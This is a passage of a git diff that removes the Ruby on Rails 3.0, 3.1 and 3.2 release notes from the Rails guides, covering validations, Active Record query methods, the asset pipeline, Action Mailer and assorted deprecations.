option to a validate method. -* The `validates` method has the following options: - * `:acceptance => Boolean`. - * `:confirmation => Boolean`. - * `:exclusion => { :in => Enumerable }`. - * `:inclusion => { :in => Enumerable }`. - * `:format => { :with => Regexp, :on => :create }`. - * `:length => { :maximum => Fixnum }`. - * `:numericality => Boolean`. - * `:presence => Boolean`. - * `:uniqueness => Boolean`. - -NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API. - -You can also pass in a validator object, which you can then reuse between objects that use Active Model: - -```ruby -class TitleValidator < ActiveModel::EachValidator - Titles = ['Mr.', 'Mrs.', 'Dr.'] - def validate_each(record, attribute, value) - unless Titles.include?(value) - record.errors[attribute] << 'must be a valid title' - end - end -end -``` - -```ruby -class Person - include ActiveModel::Validations - attr_accessor :title - validates :title, :presence => true, :title => true -end - -# Or for Active Record - -class Person < ActiveRecord::Base - validates :title, :presence => true, :title => true -end -``` - -There's also support for introspection: - -```ruby -User.validators -User.validators_on(:login) -``` - -More Information: - -* [Sexy Validation in Rails 3](http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/) -* [Rails 3 Validations Explained](http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true) - - -Active Record -------------- - -Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1. - - -### Query Interface - -Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together: - -* `where` - provides conditions on the relation, what gets returned. -* `select` - choose what attributes of the models you wish to have returned from the database. -* `group` - groups the relation on the attribute supplied. -* `having` - provides an expression limiting group relations (GROUP BY constraint). -* `joins` - joins the relation to another table. -* `clause` - provides an expression limiting join relations (JOIN constraint). -* `includes` - includes other relations pre-loaded. -* `order` - orders the relation based on the expression supplied. -* `limit` - limits the relation to the number of records specified. -* `lock` - locks the records returned from the table. -* `readonly` - returns an read only copy of the data. -* `from` - provides a way to select relationships from more than one table. -* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods. -* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained. -* `default_scope` - also works with relations. - -More Information: - -* [Active Record Query Interface](http://m.onkey.org/2010/1/22/active-record-query-interface) -* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/) - - -### Enhancements - -* Added `:destroyed?` to Active Record objects. -* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database. - - -### Patches and Deprecations - -Additionally, many fixes in the Active Record branch: - -* SQLite 2 support has been dropped in favor of SQLite 3. -* MySQL support for column order. -* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values. -* Support multiple schemas in table names for PostgreSQL. -* PostgreSQL support for the XML data type column. -* `table_name` is now cached. -* A large amount of work done on the Oracle adapter as well with many bug fixes. - -As well as the following deprecations: - -* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`. -* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`. -* `save(false)` is deprecated, in favor of `save(:validate => false)`. -* I18n error messages for Active Record should be changed from :en.activerecord.errors.template to `:en.errors.template`. -* `model.errors.on` is deprecated in favor of `model.errors[]` -* validates_presence_of => validates... :presence => true -* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging` - -NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release. - - -Active Resource ---------------- - -Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly. - -* Added validations through Active Model. -* Added observing hooks. -* HTTP proxy support. -* Added support for digest authentication. -* Moved model naming into Active Model. -* Changed Active Resource attributes to a Hash with indifferent access. -* Added `first`, `last` and `all` aliases for equivalent find scopes. -* `find_every` now does not return a `ResourceNotFound` error if nothing returned. -* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`. -* `update_attribute` and `update_attributes` added to Active Resource models. -* Added `exists?`. -* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`. -* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors. -* Use `instance_eval` for schema block. -* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility. -* Add support for errors in JSON format. -* Ensure `load` works with numeric arrays. -* Recognizes a 410 response from remote resource as the resource has been deleted. -* Add ability to set SSL options on Active Resource connections. -* Setting connection timeout also affects `Net::HTTP` `open_timeout`. - -Deprecations: - -* `save(false)` is deprecated, in favor of `save(:validate => false)`. -* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library. - - -Active Support --------------- - -A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer. - -These are the main changes in Active Support: - -* Large clean up of the library removing unused methods throughout. -* Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the `bundle install` command. -* Safe buffers are implemented in `ActiveSupport::SafeBuffer`. -* Added `Array.uniq_by` and `Array.uniq_by!`. -* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9. -* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value. -* Added `ActiveSupport::Notifications` middleware. -* `ActiveSupport.use_standard_json_time_format` now defaults to true. -* `ActiveSupport.escape_html_entities_in_json` now defaults to false. -* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero. -* `string.chars` has been renamed to `string.mb_chars`. -* `ActiveSupport::OrderedHash` now can de-serialize through YAML. -* Added SAX-based parser for XmlMini, using LibXML and Nokogiri. -* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`. -* Added `String#exclude?` core extension that returns the inverse of `#include?`. -* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes. -* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`. -* Switch to on-by-default XSS escaping for rails. -* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`. -* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`. -* `inspect` on a zero length duration returns '0 seconds' instead of empty string. -* Add `element` and `collection` to `ModelName`. -* `String#to_time` and `String#to_datetime` handle fractional seconds. -* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks. -* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`. -* `MissingSourceFile` exists as a constant but it is now just equal to `LoadError`. -* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses. -* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`. -* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby. - -The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9. - -* `Integer#even?` and `Integer#odd?` -* `String#each_char` -* `String#start_with?` and `String#end_with?` (3rd person aliases still kept) -* `String#bytesize` -* `Object#tap` -* `Symbol#to_proc` -* `Object#instance_variable_defined?` -* `Enumerable#none?` - -The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not. - -The following methods have been removed because they are no longer used in the framework: - -* `Kernel#daemonize` -* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by` -* `Class#remove_class` -* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures` - - -Action Mailer -------------- - -Action Mailer has been given a new API with TMail being replaced out with the new [Mail](https://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. - -* All mailers are now in `app/mailers` by default. -* Can now send email using new API with three methods: `attachments`, `headers` and `mail`. -* Action Mailer now has native support for inline attachments using the `attachments.inline` method. -* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself. -* All delivery methods are now abstracted out to the Mail gem. -* The mail delivery method can accept a hash of all valid mail header fields with their value pair. -* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed. -* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options. -* What were mailer unit tests have been moved to functional tests. -* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem -* Action Mailer will auto encode email bodies and headers for you - -Deprecations: - -* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations. -* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object. -* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`. -* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block -* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view. -* Mailers being in `app/models` is deprecated, use `app/mailers` instead. - -More Information: - -* [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3) -* [New Mail Gem for Ruby](http://lindsaar.net/2010/1/23/mail-gem-version-2-released) - - -Credits -------- - -See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them. - -Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net). diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md deleted file mode 100644 index fd90cf9..0000000 --- a/source/3_1_release_notes.md +++ /dev/null @@ -1,561 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Ruby on Rails 3.1 Release Notes -=============================== - -Highlights in Rails 3.1: - -* Streaming -* Reversible Migrations -* Assets Pipeline -* jQuery as the default JavaScript library - -These release notes cover only the major changes. To learn about various bug -fixes and changes, please refer to the change logs or check out the [list of -commits](https://github.com/rails/rails/commits/3-1-stable) in the main Rails -repository on GitHub. - --------------------------------------------------------------------------------- - -Upgrading to Rails 3.1 ----------------------- - -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: - -### Rails 3.1 requires at least Ruby 1.8.7 - -Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. - -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. - -### What to update in your apps - -The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails. - -#### Gemfile - -Make the following changes to your `Gemfile`. - -```ruby -gem 'rails', '= 3.1.3' -gem 'mysql2' - -# Needed for the new asset pipeline -group :assets do - gem 'sass-rails', "~> 3.1.5" - gem 'coffee-rails', "~> 3.1.1" - gem 'uglifier', ">= 1.0.3" -end - -# jQuery is the default JavaScript library in Rails 3.1 -gem 'jquery-rails' -``` - -#### config/application.rb - -* The asset pipeline requires the following additions: - - ```ruby - config.assets.enabled = true - config.assets.version = '1.0' - ``` - -* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts: - - ```ruby - # Defaults to '/assets' - config.assets.prefix = '/asset-files' - ``` - -#### config/environments/development.rb - -* Remove the RJS setting `config.action_view.debug_rjs = true`. - -* Add the following, if you enable the asset pipeline. - - ```ruby - # Do not compress assets - config.assets.compress = false - - # Expands the lines which load the assets - config.assets.debug = true - ``` - -#### config/environments/production.rb - -* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide. - - ```ruby - # Compress JavaScripts and CSS - config.assets.compress = true - - # Don't fallback to assets pipeline if a precompiled asset is missed - config.assets.compile = false - - # Generate digests for assets URLs - config.assets.digest = true - - # Defaults to Rails.root.join("public/assets") - # config.assets.manifest = YOUR_PATH - - # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) - # config.assets.precompile `= %w( admin.js admin.css ) - - - # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. - # config.force_ssl = true - ``` - -#### config/environments/test.rb - -```ruby -# Configure static asset server for tests with Cache-Control for performance -config.serve_static_assets = true -config.static_cache_control = "public, max-age=3600" -``` - -#### config/initializers/wrap_parameters.rb - -* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications. - - ```ruby - # Be sure to restart your server when you modify this file. - # This file contains settings for ActionController::ParamsWrapper which - # is enabled by default. - - # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. - ActiveSupport.on_load(:action_controller) do - wrap_parameters :format => [:json] - end - - # Disable root element in JSON by default. - ActiveSupport.on_load(:active_record) do - self.include_root_in_json = false - end - ``` - -#### Remove :cache and :concat options in asset helpers references in views - -* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views. - -Creating a Rails 3.1 application --------------------------------- - -```bash -# You should have the 'rails' RubyGem installed -$ rails new myapp -$ cd myapp -``` - -### Vendoring Gems - -Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. - -More information: - [bundler homepage](http://bundler.io/) - -### Living on the Edge - -`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: - -```bash -$ rails new myapp --edge -``` - -If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: - -```bash -$ ruby /path/to/rails/railties/bin/rails new myapp --dev -``` - -Rails Architectural Changes ---------------------------- - -### Assets Pipeline - -The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. - -The assets pipeline is powered by [Sprockets](https://github.com/rails/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide. - -### HTTP Streaming - -HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it. - -### Default JS library is now jQuery - -jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. - -```bash -$ rails new myapp -j prototype -``` - -### Identity Map - -Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. - -Rails 3.1 comes with the identity map turned off by default. - -Railties --------- - -* jQuery is the new default JavaScript library. - -* jQuery and Prototype are no longer vendored and is provided from now on by the `jquery-rails` and `prototype-rails` gems. - -* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. - -* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified. - -* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available. - -* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed. - -* Scaffold controller generator creates format block for JSON instead of XML. - -* Active Record logging is directed to STDOUT and shown inline in the console. - -* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol. - -* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing. - -* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack. - -* Added `Rack::Cache` to the default middleware stack. - -* Engines received a major update - You can mount them at any path, enable assets, run generators etc. - -Action Pack ------------ - -### Action Controller - -* A warning is given out if the CSRF token authenticity cannot be verified. - -* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used. - -* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log. - -* URL parameters which return `nil` for `to_param` are now removed from the query string. - -* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`. - -* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). - -* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options. - -* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call. - - ```ruby - class PostsController < ApplicationController - USER_NAME, PASSWORD = "dhh", "secret" - - before_filter :authenticate, :except => [ :index ] - - def index - render :text => "Everyone can see me!" - end - - def edit - render :text => "I'm only accessible if you know the password" - end - - private - def authenticate - authenticate_or_request_with_http_basic do |user_name, password| - user_name == USER_NAME && password == PASSWORD - end - end - end - ``` - - ..can now be written as - - ```ruby - class PostsController < ApplicationController - http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index - - def index - render :text => "Everyone can see me!" - end - - def edit - render :text => "I'm only accessible if you know the password" - end - end - ``` - -* Added streaming support, you can enable it with: - - ```ruby - class PostsController < ActionController::Base - stream - end - ``` - - You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information. - -* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. - -### Action Dispatch - -* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`. - -* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array. - -* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers. - -* Added `Rack::Cache` to the default stack. - -* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack. - -* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`. - -* Template lookup now searches further up in the inheritance chain. - -### Action View - -* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`. - -* Created `ActionView::Renderer` and specified an API for `ActionView::Context`. - -* In place `SafeBuffer` mutation is prohibited in Rails 3.1. - -* Added HTML5 `button_tag` helper. - -* `file_field` automatically adds `:multipart => true` to the enclosing form. - -* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a `:data` hash of options: - - ```ruby - tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) - # =>
- ``` - -Keys are dasherized. Values are JSON-encoded, except for strings and symbols. - -* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility. - -* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. - -* rhtml and rxml are finally removed as template handlers. - -* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not. - -* The submit form helper does not generate an id "object_name_id" anymore. - -* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`. - -* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper. - -* Allows AM/PM format in datetime selectors. - -* `auto_link` has been removed from Rails and extracted into the [rails_autolink gem](https://github.com/tenderlove/rails_autolink) - -Active Record -------------- - -* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`. - - ```ruby - class User < ActiveRecord::Base - self.pluralize_table_names = false - end - ``` - -* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. - - ```ruby - class User < ActiveRecord::Base - has_one :account - end - - user.build_account{ |a| a.credit_limit = 100.0 } - ``` - -* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. - -* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. - -* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: - - ```ruby - class Post < ActiveRecord::Base - attr_accessible :title - attr_accessible :title, :published_at, :as => :admin - end - - Post.new(params[:post], :as => :admin) - ``` - -* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation. - -* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. - -* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. - -* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed. - -* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records. - -* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations. - -* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`. - -* limits and offsets are removed from COUNT queries unless both are supplied. - - ```ruby - People.limit(1).count # => 'SELECT COUNT(*) FROM people' - People.offset(1).count # => 'SELECT COUNT(*) FROM people' - People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' - ``` - -* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. - -* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead. - -* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. - -* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. - -* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. - -* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. - -* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`. - -* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement. - - ```ruby - change_table(:users, :bulk => true) do |t| - t.string :company_name - t.change :birthdate, :datetime - end - ``` - -* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used. - -* Added a `create_association!` method for `has_one` and `belongs_to` associations. - -* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method. - - ```ruby - class MyMigration < ActiveRecord::Migration - def change - create_table(:horses) do |t| - t.column :content, :text - t.column :remind_at, :datetime - end - end - end - ``` - -* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down. - -* Migrations now use instance methods rather than class methods: - - ```ruby - class FooMigration < ActiveRecord::Migration - def up # Not self.up - ... - end - end - ``` - -* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods. - -* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. - - ```ruby - has_many :things, :conditions => 'foo = #{bar}' # before - has_many :things, :conditions => proc { "foo = #{bar}" } # after - ``` - - Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within. - - You can have any "normal" conditions inside the proc, so the following will work too: - - ```ruby - has_many :things, :conditions => proc { ["foo = ?", bar] } - ``` - -* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. - -* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting. - - ```ruby - # Schema: User(name:string, password_digest:string, password_salt:string) - class User < ActiveRecord::Base - has_secure_password - end - ``` - -* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns. - -* Setting the id of a `belongs_to` object will update the reference to the object. - -* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics. - -* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. - -* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable. - -* The query cache now works with prepared statements. No changes in the applications are required. - -Active Model ------------- - -* `attr_accessible` accepts an option `:as` to specify a role. - -* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`. - -* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting. - -* `ActiveModel::AttributeMethods` allows attributes to be defined on demand. - -* Added support for selectively enabling and disabling observers. - -* Alternate `I18n` namespace lookup is no longer supported. - -Active Resource ---------------- - -* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example, - - ```ruby - class User < ActiveResource::Base - self.format = :xml - end - ``` - -Active Support --------------- - -* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`. - -* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`. - -* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object. - -* Added `Object#in?` to test if an object is included in another object. - -* `LocalCache` strategy is now a real middleware class and no longer an anonymous class. - -* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes. - -* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`. - -* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8. - -* Added `weeks_ago` and `prev_week` to Date/DateTime/Time. - -* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`. - -Deprecations: - -* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library. - -Credits -------- - -See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. - -Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev) diff --git a/source/3_2_release_notes.md b/source/3_2_release_notes.md deleted file mode 100644 index f16d509..0000000 --- a/source/3_2_release_notes.md +++ /dev/null @@ -1,570 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Ruby on Rails 3.2 Release Notes -=============================== - -Highlights in Rails 3.2: - -* Faster Development Mode -* New Routing Engine -* Automatic Query Explains -* Tagged Logging - -These release notes cover only the major changes. To learn about various bug -fixes and changes, please refer to the change logs or check out the [list of -commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails -repository on GitHub. - --------------------------------------------------------------------------------- - -Upgrading to Rails 3.2 ----------------------- - -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes: - -### Rails 3.2 requires at least Ruby 1.8.7 - -Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2. - -TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. - -### What to update in your apps - -* Update your Gemfile to depend on - * `rails = 3.2.0` - * `sass-rails ~> 3.2.3` - * `coffee-rails ~> 3.2.1` - * `uglifier >= 1.0.3` - -* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate 